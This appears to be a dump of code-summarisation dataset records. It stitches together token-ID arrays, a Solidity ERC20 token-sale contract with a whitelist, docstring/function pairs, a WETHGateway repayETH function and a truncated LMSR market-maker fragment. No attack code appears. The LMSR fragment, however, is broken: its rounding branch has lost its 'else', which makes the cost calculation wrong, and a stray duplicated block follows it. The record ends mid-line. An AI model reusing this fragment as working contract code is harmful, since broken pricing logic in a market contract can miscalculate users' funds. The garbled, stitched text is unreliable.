[ 1, 9610, 9230, 358, 326, 2236, 732, 741, 326, 2236, 310, 364, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 389, 3669, 16936, 12, 2867, 8843, 429, 389, 19177, 13, 2713, 288, 203, 202, 202, 2867, 8843, 429, 1018, 273, 389, 19177, 31, 203, 203, 202, 202, 2867, 26944, 2375, 273, 20066, 7675, 588, 18927, 329, 2375, 24899, 19177, 1769, 203, 202, 202, 67, 19177, 273, 26944, 2375, 422, 1758, 12, 20, 13, 203, 1082, 202, 35, 389, 19177, 203, 1082, 202, 30, 8843, 429, 12, 20409, 329, 2375, 1769, 203, 203, 202, 202, 6528, 12, 3669, 1382, 6275, 405, 1758, 24899, 19177, 2934, 12296, 1769, 203, 202, 202, 11890, 5034, 358, 3401, 273, 1760, 1382, 6275, 300, 1758, 24899, 19177, 2934, 12296, 31, 203, 203, 202, 202, 11890, 5034, 21990, 273, 783, 4245, 738, 2371, 31, 203, 203, 202, 202, 430, 261, 8019, 2413, 63, 67, 19177, 8009, 2722, 4245, 3401, 1845, 422, 2254, 10392, 12, 2972, 4245, 3719, 203, 1082, 202, 8019, 2413, 63, 67, 19177, 8009, 26790, 3401, 1382, 1380, 1011, 404, 31, 203, 202, 202, 12107, 17662, 2413, 63, 67, 19177, 8009, 26790, 3401, 1382, 1380, 273, 404, 31, 203, 202, 202, 8019, 2413, 63, 67, 19177, 8009, 2722, 4245, 3401, 1845, 273, 2254, 10392, 12, 2972, 4245, 1769, 203, 202, 202, 8019, 2413, 63, 67, 19177, 8009, 2722, 6630, 3401, 4675, 63, 2881, 12250, 65, 1011, 2254, 10392, 12, 869, 3401, 1769, 203, 203, 202, 202, 430, 261, 902, 3759, 950, 63, 67, 19177, 65, 422, 629, 597, 26944, 2375, 422, 1758, 12, 20, 3719, 288, 203, 1082, 202, 26790, 1908, 26558, 2413, 1380, 9904, 31, 203, 2 ]
pragma solidity ^0.4.23; // ---------------------------------------------------------------------------- // ERC20Interface - Standard ERC20 Interface Definition // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Based on the final ERC20 specification at: // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function name() public view returns (string); function symbol() public view returns (string); function decimals() public view returns (uint8); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256 balance); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } // ---------------------------------------------------------------------------- // Math - General Math Utility Library // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- library Math { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 r = a + b; require(r >= a); return r; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(a >= b); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 r = a * b; require(r / a == b); return r; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } // ---------------------------------------------------------------------------- // Owned - Ownership model with 2 phase transfers // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // Implements a simple ownership model with 2-phase transfer. contract Owned { address public owner; address public proposedOwner; event OwnershipTransferInitiated(address indexed _proposedOwner); event OwnershipTransferCompleted(address indexed _newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(isOwner(msg.sender) == true); _; } function isOwner(address _address) public view returns (bool) { return (_address == owner); } function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) { require(_proposedOwner != address(0)); require(_proposedOwner != address(this)); require(_proposedOwner != owner); proposedOwner = _proposedOwner; emit OwnershipTransferInitiated(proposedOwner); return true; } function completeOwnershipTransfer() public returns (bool) { require(msg.sender == proposedOwner); owner = msg.sender; proposedOwner = address(0); emit OwnershipTransferCompleted(owner); return true; } } // ---------------------------------------------------------------------------- // Finalizable - Basic implementation of the finalization pattern // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- contract Finalizable is Owned() { bool public finalized; event Finalized(); constructor() public { finalized = false; } function finalize() public onlyOwner returns (bool) { require(!finalized); finalized = true; emit Finalized(); return true; } } // ---------------------------------------------------------------------------- // OpsManaged - Implements an Owner and Ops Permission Model // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // // Implements a security model with owner and ops. // contract OpsManaged is Owned() { address public opsAddress; event OpsAddressUpdated(address indexed _newAddress); constructor() public { } modifier onlyOwnerOrOps() { require(isOwnerOrOps(msg.sender)); _; } function isOps(address _address) public view returns (bool) { return (opsAddress != address(0) && _address == opsAddress); } function isOwnerOrOps(address _address) public view returns (bool) { return (isOwner(_address) || isOps(_address)); } function setOpsAddress(address _newOpsAddress) public onlyOwner returns (bool) { require(_newOpsAddress != owner); require(_newOpsAddress != address(this)); opsAddress = _newOpsAddress; emit OpsAddressUpdated(opsAddress); return true; } } // ---------------------------------------------------------------------------- // ERC20Token - Standard ERC20 Implementation // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- contract ERC20Token is ERC20Interface { using Math for uint256; string private tokenName; string private tokenSymbol; uint8 private tokenDecimals; uint256 internal tokenTotalSupply; mapping(address => uint256) internal balances; mapping(address => mapping (address => uint256)) allowed; constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokenHolder) public { tokenName = _name; tokenSymbol = _symbol; tokenDecimals = _decimals; tokenTotalSupply = _totalSupply; // The initial balance of tokens is assigned to the given token holder address. balances[_initialTokenHolder] = _totalSupply; // Per EIP20, the constructor should fire a Transfer event if tokens are assigned to an account. emit Transfer(0x0, _initialTokenHolder, _totalSupply); } function name() public view returns (string) { return tokenName; } function symbol() public view returns (string) { return tokenSymbol; } function decimals() public view returns (uint8) { return tokenDecimals; } function totalSupply() public view returns (uint256) { return tokenTotalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } // ---------------------------------------------------------------------------- // FinalizableToken - Extension to ERC20Token with ops and finalization // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- // // ERC20 token with the following additions: // 1. Owner/Ops Ownership // 2. Finalization // contract FinalizableToken is ERC20Token, OpsManaged, Finalizable { using Math for uint256; // The constructor will assign the initial token supply to the owner (msg.sender). constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public ERC20Token(_name, _symbol, _decimals, _totalSupply, msg.sender) OpsManaged() Finalizable() { } function transfer(address _to, uint256 _value) public returns (bool success) { validateTransfer(msg.sender, _to); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { validateTransfer(msg.sender, _to); return super.transferFrom(_from, _to, _value); } function validateTransfer(address _sender, address _to) private view { // Once the token is finalized, everybody can transfer tokens. if (finalized) { return; } if (isOwner(_to)) { return; } // Before the token is finalized, only owner and ops are allowed to initiate transfers. // This allows them to move tokens while the sale is still ongoing for example. require(isOwnerOrOps(_sender)); } } // ---------------------------------------------------------------------------- // FlexibleTokenSale - Token Sale Contract // Enuma Blockchain Platform // // Copyright (c) 2017 Enuma Technologies Limited. // https://www.enuma.io/ // ---------------------------------------------------------------------------- contract FlexibleTokenSale is Finalizable, OpsManaged { using Math for uint256; // // Lifecycle // uint256 public startTime; uint256 public endTime; bool public suspended; // // Pricing // uint256 public tokensPerKEther; uint256 public bonus; uint256 public maxTokensPerAccount; uint256 public contributionMin; uint256 public tokenConversionFactor; // // Wallets // address public walletAddress; // // Token // FinalizableToken public token; // // Counters // uint256 public totalTokensSold; uint256 public totalEtherCollected; // // Events // event Initialized(); event TokensPerKEtherUpdated(uint256 _newValue); event MaxTokensPerAccountUpdated(uint256 _newMax); event BonusUpdated(uint256 _newValue); event SaleWindowUpdated(uint256 _startTime, uint256 _endTime); event WalletAddressUpdated(address _newAddress); event SaleSuspended(); event SaleResumed(); event TokensPurchased(address _beneficiary, uint256 _cost, uint256 _tokens); event TokensReclaimed(uint256 _amount); constructor(uint256 _startTime, uint256 _endTime, address _walletAddress) public OpsManaged() { require(_endTime > _startTime); require(_walletAddress != address(0)); require(_walletAddress != address(this)); walletAddress = _walletAddress; finalized = false; suspended = false; startTime = _startTime; endTime = _endTime; // Use some defaults config values. Classes deriving from FlexibleTokenSale // should set their own defaults tokensPerKEther = 100000; bonus = 0; maxTokensPerAccount = 0; contributionMin = 0.1 ether; totalTokensSold = 0; totalEtherCollected = 0; } function currentTime() public constant returns (uint256) { return now; } // Initialize should be called by the owner as part of the deployment + setup phase. // It will associate the sale contract with the token contract and perform basic checks. function initialize(FinalizableToken _token) external onlyOwner returns(bool) { require(address(token) == address(0)); require(address(_token) != address(0)); require(address(_token) != address(this)); require(address(_token) != address(walletAddress)); require(isOwnerOrOps(address(_token)) == false); token = _token; // This factor is used when converting cost <-> tokens. // 18 is because of the ETH -> Wei conversion. // 3 because prices are in K ETH instead of just ETH. // 4 because bonuses are expressed as 0 - 10000 for 0.00% - 100.00% (with 2 decimals). tokenConversionFactor = 10**(uint256(18).sub(_token.decimals()).add(3).add(4)); require(tokenConversionFactor > 0); emit Initialized(); return true; } // // Owner Configuation // // Allows the owner to change the wallet address which is used for collecting // ether received during the token sale. function setWalletAddress(address _walletAddress) external onlyOwner returns(bool) { require(_walletAddress != address(0)); require(_walletAddress != address(this)); require(_walletAddress != address(token)); require(isOwnerOrOps(_walletAddress) == false); walletAddress = _walletAddress; emit WalletAddressUpdated(_walletAddress); return true; } // Allows the owner to set an optional limit on the amount of tokens that can be purchased // by a contributor. It can also be set to 0 to remove limit. function setMaxTokensPerAccount(uint256 _maxTokens) external onlyOwner returns(bool) { maxTokensPerAccount = _maxTokens; emit MaxTokensPerAccountUpdated(_maxTokens); return true; } // Allows the owner to specify the conversion rate for ETH -> tokens. // For example, passing 1,000,000 would mean that 1 ETH would purchase 1000 tokens. function setTokensPerKEther(uint256 _tokensPerKEther) external onlyOwner returns(bool) { require(_tokensPerKEther > 0); tokensPerKEther = _tokensPerKEther; emit TokensPerKEtherUpdated(_tokensPerKEther); return true; } // Allows the owner to set a bonus to apply to all purchases. // For example, setting it to 2000 means that instead of receiving 200 tokens, // for a given price, contributors would receive 240 tokens (20.00% bonus). function setBonus(uint256 _bonus) external onlyOwner returns(bool) { require(_bonus <= 10000); bonus = _bonus; emit BonusUpdated(_bonus); return true; } // Allows the owner to set a sale window which will allow the sale (aka buyTokens) to // receive contributions between _startTime and _endTime. Once _endTime is reached, // the sale contract will automatically stop accepting incoming contributions. function setSaleWindow(uint256 _startTime, uint256 _endTime) external onlyOwner returns(bool) { require(_startTime > 0); require(_endTime > _startTime); startTime = _startTime; endTime = _endTime; emit SaleWindowUpdated(_startTime, _endTime); return true; } // Allows the owner to suspend the sale until it is manually resumed at a later time. function suspend() external onlyOwner returns(bool) { if (suspended == true) { return false; } suspended = true; emit SaleSuspended(); return true; } // Allows the owner to resume the sale. function resume() external onlyOwner returns(bool) { if (suspended == false) { return false; } suspended = false; emit SaleResumed(); return true; } // // Contributions // // Default payable function which can be used to purchase tokens. function () payable public { buyTokens(msg.sender); } // Allows the caller to purchase tokens for a specific beneficiary (proxy purchase). function buyTokens(address _beneficiary) public payable returns (uint256) { return buyTokensInternal(_beneficiary, bonus); } function buyTokensInternal(address _beneficiary, uint256 _bonus) internal returns (uint256) { require(!finalized); require(!suspended); require(currentTime() >= startTime); require(currentTime() <= endTime); require(msg.value >= contributionMin); require(_beneficiary != address(0)); require(_beneficiary != address(this)); require(_beneficiary != address(token)); // We don't want to allow the wallet collecting ETH to // directly be used to purchase tokens. require(msg.sender != address(walletAddress)); // Check how many tokens are still available for sale. uint256 saleBalance = token.balanceOf(address(this)); require(saleBalance > 0); // Calculate how many tokens the contributor could purchase based on ETH received. uint256 tokens = msg.value.mul(tokensPerKEther).mul(_bonus.add(10000)).div(tokenConversionFactor); require(tokens > 0); uint256 cost = msg.value; uint256 refund = 0; // Calculate what is the maximum amount of tokens that the contributor // should be allowed to purchase uint256 maxTokens = saleBalance; if (maxTokensPerAccount > 0) { // There is a maximum amount of tokens per account in place. // Check if the user already hit that limit. uint256 userBalance = getUserTokenBalance(_beneficiary); require(userBalance < maxTokensPerAccount); uint256 quotaBalance = maxTokensPerAccount.sub(userBalance); if (quotaBalance < saleBalance) { maxTokens = quotaBalance; } } require(maxTokens > 0); if (tokens > maxTokens) { // The contributor sent more ETH than allowed to purchase. // Limit the amount of tokens that they can purchase in this transaction. tokens = maxTokens; // Calculate the actual cost for that new amount of tokens. cost = tokens.mul(tokenConversionFactor).div(tokensPerKEther.mul(_bonus.add(10000))); if (msg.value > cost) { // If the contributor sent more ETH than needed to buy the tokens, // the balance should be refunded. refund = msg.value.sub(cost); } } // This is the actual amount of ETH that can be sent to the wallet. uint256 contribution = msg.value.sub(refund); walletAddress.transfer(contribution); // Update our stats counters. totalTokensSold = totalTokensSold.add(tokens); totalEtherCollected = totalEtherCollected.add(contribution); // Transfer tokens to the beneficiary. require(token.transfer(_beneficiary, tokens)); // Issue a refund for the excess ETH, as needed. if (refund > 0) { msg.sender.transfer(refund); } emit TokensPurchased(_beneficiary, cost, tokens); return tokens; } // Returns the number of tokens that the user has purchased. Will be checked against the // maximum allowed. Can be overriden in a sub class to change the calculations. function getUserTokenBalance(address _beneficiary) internal view returns (uint256) { return token.balanceOf(_beneficiary); } // Allows the owner to take back the tokens that are assigned to the sale contract. function reclaimTokens() external onlyOwner returns (bool) { uint256 tokens = token.balanceOf(address(this)); if (tokens == 0) { return false; } address tokenOwner = token.owner(); require(tokenOwner != address(0)); require(token.transfer(tokenOwner, tokens)); emit TokensReclaimed(tokens); return true; } } // ---------------------------------------------------------------------------- // CaspianTokenConfig - Token Contract Configuration // // Copyright (c) 2018 Caspian, Limited (TM). // http://www.caspian.tech/ // ---------------------------------------------------------------------------- contract CaspianTokenConfig { string public constant TOKEN_SYMBOL = "CSP"; string public constant TOKEN_NAME = "Caspian Token"; uint8 public constant TOKEN_DECIMALS = 18; uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS); uint256 public constant TOKEN_TOTALSUPPLY = 1000000000 * DECIMALSFACTOR; } // ---------------------------------------------------------------------------- // CaspianTokenSaleConfig - Token Sale Configuration // // Copyright (c) 2018 Caspian, Limited (TM). // http://www.caspian.tech/ // ---------------------------------------------------------------------------- contract CaspianTokenSaleConfig is CaspianTokenConfig { // // Time // uint256 public constant INITIAL_STARTTIME = 1538553600; // 2018-10-03, 08:00:00 UTC uint256 public constant INITIAL_ENDTIME = 1538726400; // 2018-10-05, 08:00:00 UTC // // Purchases // // Minimum amount of ETH that can be used for purchase. uint256 public constant CONTRIBUTION_MIN = 0.5 ether; // Price of tokens, based on the 1 ETH = 4000 CSP conversion ratio. uint256 public constant TOKENS_PER_KETHER = 4000000; // Amount of bonus applied to the sale. 2000 = 20.00% bonus, 750 = 7.50% bonus, 0 = no bonus. uint256 public constant BONUS = 0; // Maximum amount of tokens that can be purchased for each account. 0 for no maximum. uint256 public constant TOKENS_ACCOUNT_MAX = 400000 * DECIMALSFACTOR; // 100 ETH Max } // ---------------------------------------------------------------------------- // CaspianTokenSale - Token Sale Contract // // Copyright (c) 2018 Caspian, Limited (TM). // http://www.caspian.tech/ // // Based on code from Enuma Technologies. // Copyright (c) 2017 Enuma Technologies Limited. // ---------------------------------------------------------------------------- contract CaspianTokenSale is FlexibleTokenSale, CaspianTokenSaleConfig { // // Whitelist // uint8 public currentPhase; mapping(address => uint8) public whitelist; // // Events // event WhitelistUpdated(address indexed _account, uint8 _phase); constructor(address wallet) public FlexibleTokenSale(INITIAL_STARTTIME, INITIAL_ENDTIME, wallet) { tokensPerKEther = TOKENS_PER_KETHER; bonus = BONUS; maxTokensPerAccount = TOKENS_ACCOUNT_MAX; contributionMin = CONTRIBUTION_MIN; currentPhase = 1; } // Allows the owner or ops to add/remove people from the whitelist. function updateWhitelist(address _address, uint8 _phase) external onlyOwnerOrOps returns (bool) { return updateWhitelistInternal(_address, _phase); } function updateWhitelistInternal(address _address, uint8 _phase) internal returns (bool) { require(_address != address(0)); require(_address != address(this)); require(_address != walletAddress); require(_phase <= 1); whitelist[_address] = _phase; emit WhitelistUpdated(_address, _phase); return true; } // Allows the owner or ops to add/remove people from the whitelist, in batches. function updateWhitelistBatch(address[] _addresses, uint8 _phase) external onlyOwnerOrOps returns (bool) { require(_addresses.length > 0); for (uint256 i = 0; i < _addresses.length; i++) { require(updateWhitelistInternal(_addresses[i], _phase)); } return true; } // This is an extension to the buyToken function in FlexibleTokenSale which also takes // care of checking contributors against the whitelist. Since buyTokens supports proxy payments // we check that both the sender and the beneficiary have been whitelisted. function buyTokensInternal(address _beneficiary, uint256 _bonus) internal returns (uint256) { require(whitelist[msg.sender] >= currentPhase); require(whitelist[_beneficiary] >= currentPhase); return super.buyTokensInternal(_beneficiary, _bonus); } }
This is an extension to the buyToken function in FlexibleTokenSale which also takes care of checking contributors against the whitelist. Since buyTokens supports proxy payments we check that both the sender and the beneficiary have been whitelisted.
function buyTokensInternal(address _beneficiary, uint256 _bonus) internal returns (uint256) { require(whitelist[msg.sender] >= currentPhase); require(whitelist[_beneficiary] >= currentPhase); return super.buyTokensInternal(_beneficiary, _bonus); }
14,515,442
[ 1, 2503, 353, 392, 2710, 358, 326, 30143, 1345, 445, 316, 478, 21873, 1345, 30746, 1492, 2546, 5530, 7671, 434, 6728, 13608, 13595, 5314, 326, 10734, 18, 7897, 30143, 5157, 6146, 2889, 25754, 732, 866, 716, 3937, 326, 5793, 471, 326, 27641, 74, 14463, 814, 1240, 2118, 26944, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 282, 445, 30143, 5157, 3061, 12, 2867, 389, 70, 4009, 74, 14463, 814, 16, 2254, 5034, 389, 18688, 407, 13, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 1377, 2583, 12, 20409, 63, 3576, 18, 15330, 65, 1545, 783, 11406, 1769, 203, 1377, 2583, 12, 20409, 63, 67, 70, 4009, 74, 14463, 814, 65, 1545, 783, 11406, 1769, 203, 203, 1377, 327, 2240, 18, 70, 9835, 5157, 3061, 24899, 70, 4009, 74, 14463, 814, 16, 389, 18688, 407, 1769, 203, 282, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6653fB4724DE8726C78C6945E57f93DC83880C0C/sources/contracts/ui/WETHGateway.sol
* @dev repays a borrow on the WETH reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified). @param amount the amount to repay, or uint256(-1) if the user wants to repay everything @param onBehalfOf the address for which msg.sender is repaying/
function repayETH(uint256 amount, address onBehalfOf) external payable override nonReentrant { uint256 variableDebt = Helpers.getUserCurrentDebt( onBehalfOf, IPool(pool).getReserveData(address(WETH)).variableDebtTokenAddress ); uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } require( msg.value >= paybackAmount, "msg.value is less than repayment amount" ); IPool(pool).repay(address(WETH), paybackAmount, onBehalfOf); Helpers.safeTransferETH(msg.sender, msg.value - paybackAmount); }
4,097,708
[ 1, 14462, 8271, 279, 29759, 603, 326, 678, 1584, 44, 20501, 16, 364, 326, 1269, 3844, 261, 280, 364, 326, 7339, 3844, 16, 309, 2254, 5034, 19236, 21, 13, 353, 1269, 2934, 225, 3844, 326, 3844, 358, 2071, 528, 16, 578, 2254, 5034, 19236, 21, 13, 309, 326, 729, 14805, 358, 2071, 528, 7756, 225, 603, 1919, 20222, 951, 326, 1758, 364, 1492, 1234, 18, 15330, 353, 2071, 528, 310, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2071, 528, 1584, 44, 12, 11890, 5034, 3844, 16, 1758, 603, 1919, 20222, 951, 13, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 3639, 3849, 203, 3639, 1661, 426, 8230, 970, 203, 565, 288, 203, 3639, 2254, 5034, 2190, 758, 23602, 273, 17090, 18, 588, 1299, 3935, 758, 23602, 12, 203, 5411, 603, 1919, 20222, 951, 16, 203, 5411, 467, 2864, 12, 6011, 2934, 588, 607, 6527, 751, 12, 2867, 12, 59, 1584, 44, 13, 2934, 6105, 758, 23602, 1345, 1887, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 8843, 823, 6275, 273, 2190, 758, 23602, 31, 203, 203, 3639, 309, 261, 8949, 411, 8843, 823, 6275, 13, 288, 203, 5411, 8843, 823, 6275, 273, 3844, 31, 203, 3639, 289, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 1132, 1545, 8843, 823, 6275, 16, 203, 5411, 315, 3576, 18, 1132, 353, 5242, 2353, 2071, 2955, 3844, 6, 203, 3639, 11272, 203, 3639, 467, 2864, 12, 6011, 2934, 266, 10239, 12, 2867, 12, 59, 1584, 44, 3631, 8843, 823, 6275, 16, 603, 1919, 20222, 951, 1769, 203, 203, 5411, 17090, 18, 4626, 5912, 1584, 44, 12, 3576, 18, 15330, 16, 1234, 18, 1132, 300, 8843, 823, 6275, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xd4D3fE0047Bc7ca43De4DFF94263eFe010Be23D3/sources/LMSRMarketMaker.sol
@title LMSR market maker contract - Calculates share prices based on share distribution and initial funding @author Alan Lu - <[email protected]>
contract LMSRMarketMaker is MarketMaker { using SafeMath for uint; uint constant ONE = 0x10000000000000000; int constant EXP_LIMIT = 3394200909562557497344; function calcNetCost(int[] memory outcomeTokenAmounts) public view returns (int netCost) { require(outcomeTokenAmounts.length == atomicOutcomeSlotCount); int[] memory otExpNums = new int[](atomicOutcomeSlotCount); for (uint i = 0; i < atomicOutcomeSlotCount; i++) { int balance = int(pmSystem.balanceOf(address(this), generateAtomicPositionId(i))); require(balance >= 0); otExpNums[i] = outcomeTokenAmounts[i].sub(balance); } int log2N = Fixed192x64Math.binaryLog(atomicOutcomeSlotCount * ONE, Fixed192x64Math.EstimationMode.UpperBound); (uint sum, int offset, ) = sumExpOffset(log2N, otExpNums, 0, Fixed192x64Math.EstimationMode.UpperBound); netCost = Fixed192x64Math.binaryLog(sum, Fixed192x64Math.EstimationMode.UpperBound); netCost = netCost.add(offset); netCost = (netCost.mul(int(ONE)) / log2N).mul(int(funding)); if(netCost <= 0 || netCost / int(ONE) * int(ONE) == netCost) { netCost /= int(ONE); netCost = netCost / int(ONE) + 1; } } { require(outcomeTokenAmounts.length == atomicOutcomeSlotCount); int[] memory otExpNums = new int[](atomicOutcomeSlotCount); for (uint i = 0; i < atomicOutcomeSlotCount; i++) { int balance = int(pmSystem.balanceOf(address(this), generateAtomicPositionId(i))); require(balance >= 0); otExpNums[i] = outcomeTokenAmounts[i].sub(balance); } int log2N = 